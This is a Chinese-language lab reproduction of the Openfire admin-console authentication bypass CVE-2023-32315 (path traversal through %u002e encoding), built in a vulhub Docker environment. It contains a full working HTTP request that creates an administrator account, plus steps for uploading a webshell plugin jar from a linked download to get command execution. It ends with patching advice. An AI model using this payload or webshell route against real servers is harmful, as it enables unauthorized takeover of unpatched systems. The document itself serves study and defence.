CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE复现
前言
本次测试仅供学习使用,如若非法他用,与本文作者无关,需自行负责!!!
一.Openfire简介
Openfire是根据开源Apache许可证授权的实时协作(RTC)服务器。它使用唯一广泛采用的即时消息开放协议XMPP(也称为Jabber)。
二.漏洞简述
在 4.7.4 和 4.6.7 之前的版本中,发现 Openfire 的管理控制台(管理控制台)是一个基于 Web 的应用程序,容易受到通过设置环境进行的路径遍历攻击。这允许未经身份验证的用户在已配置的 Openfire 环境中使用未经身份验证的 Openfire 设置环境来访问为管理用户保留的 Openfire 管理控制台中的受限页面。
三.漏洞原理
Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果。
四.影响版本
3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5
五.环境搭建
在kali的docker中搭建vulhub进行漏洞复现
clone项目:
sudo git clone https://github.com/vulhub/vulhub.git
在/openfire/CVE-2023-32315/目录,用下面的命令下载并启动:
sudo docker-compose up -d
搞定,查看环境:
sudo docker-compose ps
看到端口,这里是9090。
在浏览器上访问http://your-ip:9090
进入环境,说明配置成功了,接下来就可以开始愉快的漏洞复现了:
此时复现的Openfire版本为4.7.4
六.漏洞复现
十多年前,在 Openfire 管理控制台中发现了一个路径遍历问题 CVE-2008-6508。攻击者能够使用 /setup/setup-/…/…/[page].jsp 绕过身份验证检查并在不知道管理员用户名和密码的情况下访问 Arbitratry 页面。
从那时起,路径遍历保护已经到位,可以防止这种攻击。
嵌入式Web服务器的后期升级包括对UTF-16字符的非标准URL编码的支持。Openfire 中的路径遍历保护未更新为包括针对此新编码的保护。因此,攻击者能够使用 /setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp 以再次绕过路径遍历保护。
/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
出现这种情况,证明漏洞存在
1.使用POC创建新的用户已经登录密码test/test
POC
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=test&name=&email=&password=test&passwordConfirm=test&isadmin=on&create=Create+User HTTP/1.1
Host: ip:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken
2.使用构造POC进行发包
然在响应中引发了异常,但创建了一个同时具有用户名和密码“test”的账户。
3.使用创建的账户进行登录
成功登录账户!!!
七.漏洞利用(命令执行)
根据创建的用户登录之后上传webshell,上传封装好的jar包,插件位置处上传jar包。
下载地址:
https://pan.baidu.com/s/1RHxoHb7DhgElOwOQGxGb1A
提取码:pezj
上传jar包,成功上传。
登录密码为123点击登录
命令执行成功,拿到webshell。
八.修复建议
1.升级版本至4.6.8或4.7.5及以上,目前厂商已升级了安全版本以修复这个安全问题,请到厂商的发布主页下载安全版本:
https://github.com/igniterealtime/Openfire/releases
2.制网络访问,切勿将 Openfire 管理控制台暴露于互联网,使用网络安全措施,确保只有受信任成员才能访问。
九.参考
https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
https://vulhub.org/#/environments/openfire/CVE-2023-32315/